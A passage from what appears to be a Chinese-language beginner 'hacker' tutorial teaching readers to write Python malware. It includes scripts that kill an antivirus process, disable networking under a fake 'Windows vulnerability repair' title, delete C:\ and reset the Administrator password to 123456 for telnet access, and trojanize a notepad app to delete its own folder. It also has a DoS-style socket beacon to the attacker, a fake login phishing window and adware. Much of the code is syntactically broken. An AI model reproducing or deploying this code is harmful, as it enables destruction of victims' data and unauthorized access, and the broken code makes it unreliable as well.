os.system(r'taskkill /F /IM 进程名')

这段代码实现了停止某个进程，那么，我们这里以 金山毒霸 为例，来关闭 金山毒霸 。

首先，金山毒霸的文件名为：

kxetray.exe

我们将刚才的代码改一下：

import os
os.system(r'taskkill /F /IM kxetray.exe')
time.sleep(5)
window=tk.Tk()
window.withdraw()  
window.mainloop()

FTP病毒

ftp病毒的作用就是打开21端口，等待连接。但如果对方打开了ftp，那么，这个病毒就不必要了。

因为大部分用户都开启了21端口，所以这个病毒跳过。

断网病毒

断网病毒的原理就是关闭Windows网络服务，使其断网。并且还会进行网络堵塞。为了骗过用户，我们仿造了Windows漏洞修复程序，其内容简单，代码如下：

import os
os.system("net stop service")
import subprocess
print("正在进行环境监测，请稍后")
ret = subprocess.call("title Windows漏洞修复", shell=True)
ret = subprocess.call("ping -t -l 100 127.0.0.0", shell=True)
window=tk.Tk()
window.withdraw()  
window.mainloop()

破坏型病毒

在之前，我们已经做过一款破坏型病毒了。这次，我们继续进行改造，让它成为一个高级的病毒。

import tkinter as tk
import tkinter.messagebox
import subprocess
import time
import os
import datetime
import os
import sys
ret = subprocess.call("del C:\ ", shell=False) 
ret = subprocess.call("ping -n 1 -l 1 你自己的IP", shell=False) #用作通知，通知你有人遭到了你的病毒攻击，从而对它进行DoS攻击。
ret = subprocess.call("net user Administrator 123456", shell=False) 
ret = subprocess.call("ping 你自己的IP",shell=False)#通知你进行登录这个用户，从而进行高级操作
window=tk.Tk()
window.withdraw()  
window.mainloop()

①在第一次通知时，对目标进行DoS攻击。（可以通过资源监视器来查看通知），从而使对方网络堵塞和系统速度变慢。

②在第二次时，用telnet指令连接对方，登录Administrator用户，输入密码123456，即可进行更高操作。

telnet 对方IP 
正在连接对方IP......
用户名:Administrator
密码:123456
正在登录......
已成功登录Administrator！

（注：因版本原因，显示可能不相同，请谅解。）

自毁木马

#__author__='ZhangP'
#-*- encoding:utf8 -*-

from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os


root=Tk()
root.title('记事本')
root.geometry("800x500+100+100")

filename=''
def author():
    
    tkinter.messagebox.askokcancel('作者信息','本软件由tiantian520开发')


def about():
    
    tkinter.messagebox.askokcancel('版权信息.Copyright','随意转载啦!')


def openfile():
    global filename
    filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt')

    if filename == '':
        filename=None
    else:
        root.title('FileName:'+os.path.basename(filename))
        textPad.delete(1.0,END)
        f=open(filename,'r',encoding='utf-8')   
        textPad.insert(1.0,f.read())
        f.close()

def new():
    global filename
    root.title("未命名文件")
    filename=None
    textPad.delete(1.0,END)

def save():
    global filename
    try:
        f=open(filename,'w')
        msg=textPad.get(1.0,END)
        f.write(msg)
        f.close()
    except:
        saveas()

def saveas():
    f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt')
    global filename
    filename=f
    fh=open(f,'w')
    msg=textPad.get(1.0,END)
    fh.write(msg)
    fh.close()
    root.title('FileName:'+os.path.basename(f))


def cut():
    textPad.event_generate('<<Cut>>')

def copy():
    textPad.event_generate('<<Copy>>')

def paste():
    textPad.event_generate('<<Paste>>')

def redo():
    textPad.event_generate('<<Redo>>')

def undo():
    textPad.event_generate('<<Undo>>')

def selectAll():
    textPad.tag_add('sel','1.0',END)

def search():
    topsearch=Toplevel(root)
    topsearch.geometry('300x30+200+250')
    label1=Label(topsearch,text='Find')
    label1.grid(row=0,column=0,padx=5)
    entry1=Entry(topsearch,width=20)
    entry1.grid(row=0,column=1,padx=5)
    button1=Button(topsearch,text='查找')
    button1.grid(row=0,column=2)


menubar=Menu(root)
root.config(menu=menubar)


filemenu=Menu(menubar)

filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new)
filemenu.add_command(label='打开',accelerator='Ctrl+O',command=openfile)
filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save)
filemenu.add_command(label='另存为',accelerator='Ctrl+Shift+S',command=saveas)
menubar.add_cascade(label='文件',menu=filemenu)


editmenu=Menu(menubar)
editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo)
editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo)
#添加分割线
editmenu.add_separator()
editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut)
editmenu.add_command(label='复制',accelerator='Ctrl+C',command=copy)
editmenu.add_command(label='粘贴',accelerator='Ctrl+V',command=paste)
editmenu.add_separator()
editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search)
editmenu.add_command(label='全选',accelerator='Ctrl+A',command=selectAll)
menubar.add_cascade(label='编辑',menu=editmenu)


aboutmenu=Menu(menubar)
aboutmenu.add_command(label='作者',command=author)
aboutmenu.add_command(label='版权',command=about)
menubar.add_cascade(label='关于',menu=aboutmenu)



toolbar=Frame(root,height=25,bg='light sea green')
shortButton=Button(toolbar,text='打开',command=openfile)
shortButton.pack(side=LEFT,padx=5,pady=5)

shortButton=Button(toolbar,text='保存',command=save)
shortButton.pack(side=LEFT)
toolbar.pack(expand=NO,fill=X)


status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W)
status.pack(side=BOTTOM,fill=X)


lnlabel=Label(root,width=2,bg='antique white')
lnlabel.pack(side=LEFT,fill=Y)

textPad=Text(root,undo=True)
textPad.pack(expand=YES,fill=BOTH)

scroll=Scrollbar(textPad)
textPad.config(yscrollcommand=scroll.set)
scroll.config(command=textPad.yview)
scroll.pack(side=RIGHT,fill=Y)


root.mainloop()

我们用它来充当正常程序，而我们将修改一下代码，使其变为典型木马。

因为难度较大，所以我们一步一步、脚踏实地的来学习。

我们先看一段代码：

import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)

这段代码可以实现删除这个文件所在的目录文件夹，我们就用这段代码来进行自毁木马的编写。

看一下之前的代码：

#-*- encoding:utf8 -*-

from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os


root=Tk()
root.title('记事本')
root.geometry("800x500+100+100")

filename=''
def author():
    import os
	current_dir = os.path.dirname(os.path.abspath(__file__))
	os.system("del " + current_dir)
    tkinter.messagebox.askokcancel('作者信息','本软件由tiantian520开发')


def about():
    
    tkinter.messagebox.askokcancel('版权信息.Copyright','随意转载啦!')


def openfile():
    global filename
    
	filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt')

    if filename == '':
        filename=None
    else:
        root.title('FileName:'+os.path.basename(filename))
        textPad.delete(1.0,END)
        f=open(filename,'r',encoding='utf-8')   
        textPad.insert(1.0,f.read())
        f.close()

def new():
	
    global filename
    root.title("未命名文件")
    filename=None
    textPad.delete(1.0,END)

def save():
    global filename
    try:
        f=open(filename,'w')
        msg=textPad.get(1.0,END)
        f.write(msg)
        f.close()
    except:
        saveas()

def saveas():
    f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt')
    global filename
    filename=f
    fh=open(f,'w')
    msg=textPad.get(1.0,END)
    fh.write(msg)
    fh.close()
    root.title('FileName:'+os.path.basename(f))


def cut():
    textPad.event_generate('<<Cut>>')

def copy():
    textPad.event_generate('<<Copy>>')

def paste():
    textPad.event_generate('<<Paste>>')

def redo():
    textPad.event_generate('<<Redo>>')

def undo():
    textPad.event_generate('<<Undo>>')

def selectAll():
    textPad.tag_add('sel','1.0',END)

def search():
    topsearch=Toplevel(root)
    topsearch.geometry('300x30+200+250')
    label1=Label(topsearch,text='Find')
    label1.grid(row=0,column=0,padx=5)
    entry1=Entry(topsearch,width=20)
    entry1.grid(row=0,column=1,padx=5)
    button1=Button(topsearch,text='查找')
    button1.grid(row=0,column=2)


menubar=Menu(root)
root.config(menu=menubar)


filemenu=Menu(menubar)

filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new)
filemenu.add_command(label='打开',accelerator='Ctrl+O',command=openfile)
filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save)
filemenu.add_command(label='另存为',accelerator='Ctrl+Shift+S',command=saveas)
menubar.add_cascade(label='文件',menu=filemenu)


editmenu=Menu(menubar)
editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo)
editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo)
#添加分割线
editmenu.add_separator()
editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut)
editmenu.add_command(label='复制',accelerator='Ctrl+C',command=copy)
editmenu.add_command(label='粘贴',accelerator='Ctrl+V',command=paste)
editmenu.add_separator()
editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search)
editmenu.add_command(label='全选',accelerator='Ctrl+A',command=selectAll)
menubar.add_cascade(label='编辑',menu=editmenu)


aboutmenu=Menu(menubar)
aboutmenu.add_command(label='作者',command=author)
aboutmenu.add_command(label='版权',command=about)
menubar.add_cascade(label='关于',menu=aboutmenu)



toolbar=Frame(root,height=25,bg='light sea green')
shortButton=Button(toolbar,text='打开',command=openfile)
shortButton.pack(side=LEFT,padx=5,pady=5)

shortButton=Button(toolbar,text='保存',command=save)
shortButton.pack(side=LEFT)
toolbar.pack(expand=NO,fill=X)


status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W)
status.pack(side=BOTTOM,fill=X)


lnlabel=Label(root,width=2,bg='antique white')
lnlabel.pack(side=LEFT,fill=Y)

textPad=Text(root,undo=True)
textPad.pack(expand=YES,fill=BOTH)

scroll=Scrollbar(textPad)
textPad.config(yscrollcommand=scroll.set)
scroll.config(command=textPad.yview)
scroll.pack(side=RIGHT,fill=Y)


root.mainloop()

我们加上点刚才看的代码：

#-*- encoding:utf8 -*-

from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os


root=Tk()
root.title('记事本')
root.geometry("800x500+100+100")

filename=''
def author():
    import os
	current_dir = os.path.dirname(os.path.abspath(__file__))
	os.system("del " + current_dir)
    tkinter.messagebox.askokcancel('作者信息','本软件由tiantian520开发')


def about():
    import os
	current_dir = os.path.dirname(os.path.abspath(__file__))
	os.system("del " + current_dir)
    tkinter.messagebox.askokcancel('版权信息.Copyright','随意转载啦!')


def openfile():
    global filename
    import os
	current_dir = os.path.dirname(os.path.abspath(__file__))
	os.system("del " + current_dir)
	filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt')

    if filename == '':
        filename=None
    else:
        root.title('FileName:'+os.path.basename(filename))
        textPad.delete(1.0,END)
        f=open(filename,'r',encoding='utf-8')   
        textPad.insert(1.0,f.read())
        f.close()

def new():
    global filename
    root.title("未命名文件")
    filename=None
    textPad.delete(1.0,END)

def save():
    global filename
    try:
        f=open(filename,'w')
        msg=textPad.get(1.0,END)
        f.write(msg)
        f.close()
    except:
        saveas()

def saveas():
    f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt')
    global filename
    filename=f
    fh=open(f,'w')
    msg=textPad.get(1.0,END)
    fh.write(msg)
    fh.close()
    root.title('FileName:'+os.path.basename(f))


def cut():
    textPad.event_generate('<<Cut>>')

def copy():
    textPad.event_generate('<<Copy>>')

def paste():
    textPad.event_generate('<<Paste>>')

def redo():
    textPad.event_generate('<<Redo>>')

def undo():
    textPad.event_generate('<<Undo>>')

def selectAll():
    textPad.tag_add('sel','1.0',END)

def search():
    topsearch=Toplevel(root)
    topsearch.geometry('300x30+200+250')
    label1=Label(topsearch,text='Find')
    label1.grid(row=0,column=0,padx=5)
    entry1=Entry(topsearch,width=20)
    entry1.grid(row=0,column=1,padx=5)
    button1=Button(topsearch,text='查找')
    button1.grid(row=0,column=2)


menubar=Menu(root)
root.config(menu=menubar)


filemenu=Menu(menubar)

filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new)
filemenu.add_command(label='打开',accelerator='Ctrl+O',command=openfile)
filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save)
filemenu.add_command(label='另存为',accelerator='Ctrl+Shift+S',command=saveas)
menubar.add_cascade(label='文件',menu=filemenu)


editmenu=Menu(menubar)
editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo)
editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo)
#添加分割线
editmenu.add_separator()
editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut)
editmenu.add_command(label='复制',accelerator='Ctrl+C',command=copy)
editmenu.add_command(label='粘贴',accelerator='Ctrl+V',command=paste)
editmenu.add_separator()
editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search)
editmenu.add_command(label='全选',accelerator='Ctrl+A',command=selectAll)
menubar.add_cascade(label='编辑',menu=editmenu)


aboutmenu=Menu(menubar)
aboutmenu.add_command(label='作者',command=author)
aboutmenu.add_command(label='版权',command=about)
menubar.add_cascade(label='关于',menu=aboutmenu)



toolbar=Frame(root,height=25,bg='light sea green')
shortButton=Button(toolbar,text='打开',command=openfile)
shortButton.pack(side=LEFT,padx=5,pady=5)

shortButton=Button(toolbar,text='保存',command=save)
shortButton.pack(side=LEFT)
toolbar.pack(expand=NO,fill=X)


status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W)
status.pack(side=BOTTOM,fill=X)


lnlabel=Label(root,width=2,bg='antique white')
lnlabel.pack(side=LEFT,fill=Y)

textPad=Text(root,undo=True)
textPad.pack(expand=YES,fill=BOTH)

scroll=Scrollbar(textPad)
textPad.config(yscrollcommand=scroll.set)
scroll.config(command=textPad.yview)
scroll.pack(side=RIGHT,fill=Y)


root.mainloop()

这样，我们就可以大致实现自毁木马了。

入侵病毒

通过入侵病毒，我们可以尽快进行入侵，从而对对方实现高级操作。

现在我们先编写一个打开后可以通知黑客的病毒，这次，使用socket模块来进行。

下面是代码：

import socket
import time
import threading
import tkinter as tk

#---------------------------
MAX_CONN=20000
PORT=80
HOST="你的IP"
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 try:
	socks=[]
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((HOST,PORT))
	s.send(buf.encode())
window=tk.Tk()
window.withdraw()  
window.mainloop()

这样，我们就可以实现通知了。

接着，我们就可以使用自己编写的Telnet连接器进行连接：

# -*- coding: utf-8 -*- 
import telnetlib
# 配置选项
Host = '' # Telnet服务器IP
username = ''   # 登录用户名
password = ''  # 登录密码
finish = ':~$ '      # 命令提示符（标识着上一条命令已执行完毕）

# 连接Telnet服务器
tn = telnetlib.Telnet(Host)
 
# 输入登录用户名
n.read_until('login: ')
tn.write(username + '\n')
 
# 输入登录密码
tn.read_until('Password: ')
tn.write(password + '\n')

# 登录完毕后，执行ls命令
tn.read_until(finish)
tn.write('ls\n')

# ls命令执行完毕后，终止Telnet连接（或输入exit退出）
tn.read_until(finish)
tn.close() # tn.write('exit\n')

连接后，即可执行ls命令，如果需执行其他命令，可以修改下面代码：

tn.write('ls\n')#修改命令

你可以删除对方C盘，看看对方图片！现在，我们虽然进入了对方计算机，但是还没有获得Root权限，如果可以，我们也可以获得最高权限——Administrator

接下来，我教大家用代码实现向对方进行攻击，并且获得管理员权限。

首先，我们可以先将之前的病毒再加上几个代码：

from tkinter import *
from tkinter import ttk  
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk  
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
try :
    window=tk.Tk()
    window.title('欢迎使用Windows高级功能！')
    window.geometry('450x300')
    tk.messagebox.showinfo(title='welcome',
                                       message='很高兴您使用Windows高级功能！请在这里重新注册一个账号，并且，用户名与密码必须与您现在使用的用户一样。')
    

    #画布放置图片
    canvas=tk.Canvas(window,height=300,width=500)
    imagefile=tk.PhotoImage(file='Hello.png')
    image=canvas.create_image(0,0,anchor='nw',image=imagefile)
    canvas.pack(side='top')
    #标签 用户名密码
    tk.Label(window,text='用户名:').place(x=100,y=150)
    tk.Label(window,text='密码:').place(x=100,y=190)
    #用户名输入框
    var_usr_name=tk.StringVar()
    entry_usr_name=tk.Entry(window,textvariable=var_usr_name)
    entry_usr_name.place(x=160,y=150)
    #密码输入框
    var_usr_pwd=tk.StringVar()
    entry_usr_pwd=tk.Entry(window,textvariable=var_usr_pwd,show='*')
    entry_usr_pwd.place(x=160,y=190)
 
    #登录函数
    def usr_log_in():
        #输入框获取用户名密码
        usr_name=var_usr_name.get()
        usr_pwd=var_usr_pwd.get()
        #从本地字典获取用户信息，如果没有则新建本地数据库
        try:
            with open('usr_info.pickle','rb') as usr_file:
                usrs_info=pickle.load(usr_file)
        except FileNotFoundError:
            with open('usr_info.pickle','wb') as usr_file:
                usrs_info={'admin':'admin'}
                pickle.dump(usrs_info,usr_file)
        #判断用户名和密码是否匹配
        if usr_name in usrs_info:
            if usr_pwd == usrs_info[usr_name]:
                

                
    
               



                
                tk.messagebox.showinfo(title='welcome',
                                       message='欢迎您：'+usr_name)
                tk.messagebox.showerror(message='系统错误 \n 错误代码:01x0111x0 \n 请关闭此程序，因为它似乎不适合你的Windows!')
                

            else:
                
                tk.messagebox.showerror(message='密码错误')
        #用户名密码不能为空
        elif usr_name=='' or usr_pwd=='' :
            
            tk.messagebox.showerror(message='用户名或密码为空')
        #不在数据库中弹出是否注册的框
        else:
            is_signup=tk.messagebox.askyesno('欢迎','您还没有注册，是否现在注册')
            if is_signup:
                usr_sign_up()
    #注册函数
    def usr_sign_up():
        
        #确认注册时的相应函数
        def signtowcg():
        #获取输入框内的内容
            nn=new_name.get()
            np=new_pwd.get()
            npf=new_pwd_confirm.get()
 
            #本地加载已有用户信息,如果没有则已有用户信息为空
            try:
                with open('usr_info.pickle','rb') as usr_file:
                    exist_usr_info=pickle.load(usr_file)
            except FileNotFoundError:
                    exist_usr_info={}           
            
            #检查用户名存在、密码为空、密码前后不一致
            if nn in exist_usr_info:
                tk.messagebox.showerror('错误','用户名已存在')
            elif np =='' or nn=='':
                tk.messagebox.showerror('错误','用户名或密码为空')
            elif np !=npf:
                tk.messagebox.showerror('错误','密码前后不一致')
           #注册信息没有问题则将用户名密码写入数据库
            else:
                exist_usr_info[nn]=np
                with open('usr_info.pickle','wb') as usr_file:
                    pickle.dump(exist_usr_info,usr_file)
                tk.messagebox.showinfo('欢迎','注册成功')
                #注册成功关闭注册框
                window_sign_up.destroy()
        #新建注册界面
        window_sign_up=tk.Toplevel(window)
        window_sign_up.geometry('350x200')
        window_sign_up.title('注册')
        #用户名变量及标签、输入框
        new_name=tk.StringVar()
        tk.Label(window_sign_up,text='用户名：').place(x=10,y=10)
        tk.Entry(window_sign_up,textvariable=new_name).place(x=150,y=10)
        #密码变量及标签、输入框
        new_pwd=tk.StringVar()
        tk.Label(window_sign_up,text='请输入密码：').place(x=10,y=50)
        tk.Entry(window_sign_up,textvariable=new_pwd,show='*').place(x=150,y=50)    
        #重复密码变量及标签、输入框
        new_pwd_confirm=tk.StringVar()
        tk.Label(window_sign_up,text='请再次输入密码：').place(x=10,y=90)
        tk.Entry(window_sign_up,textvariable=new_pwd_confirm,show='*').place(x=150,y=90)    
        #确认注册按钮及位置
        bt_confirm_sign_up=tk.Button(window_sign_up,text='确认注册',
                                 command=signtowcg)
        bt_confirm_sign_up.place(x=150,y=130)
    #退出的函数
    def usr_sign_quit():
        try :
           

            window.destroy()
        except :
            pass
    #登录 注册按钮
    bt_login=tk.Button(window,text='登录',command=usr_log_in)
    bt_login.place(x=140,y=230)
    bt_logup=tk.Button(window,text='注册',command=usr_sign_up)
    bt_logup.place(x=210,y=230)
    bt_logquit=tk.Button(window,text='退出',command=usr_sign_quit)
    bt_logquit.place(x=280,y=230)
    #主循环
    window.mainloop()
    # -*-coding:utf-8-*
    import socket
    import threading
    import Queue
    import time
except :
    pass

广告病毒

import tkinter as tk
import tkinter.messagebox
import pickle
import pickle
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk  
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk  
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
def tiaozhuan():
    webbrowser.open("xxx.com")
window=tk.Tk()
window.title('头条新闻——新闻，找头条！')
window.geometry('450x300')
tk.Label(window,text='最新消息！微软决定抛弃Windows 7！详情请点击：').place(x=0,y=0)
b = tkinter.Button(window,text = '详情',bg='cyan',font = ('幼圆',15),bd = 0.5,width=10,height=5,command = tiaozhuan).place(x=50,y=100,anchor='nw')
window=tk.Tk()
window.withdraw()  
window.mainloop()

你已经成为一名优秀的黑客兼程序员了！接下来，你可以继续阅读我后面出的高级书籍，或者放弃，这要由你来选择！

期望你在后面的路上能走得更远，再见！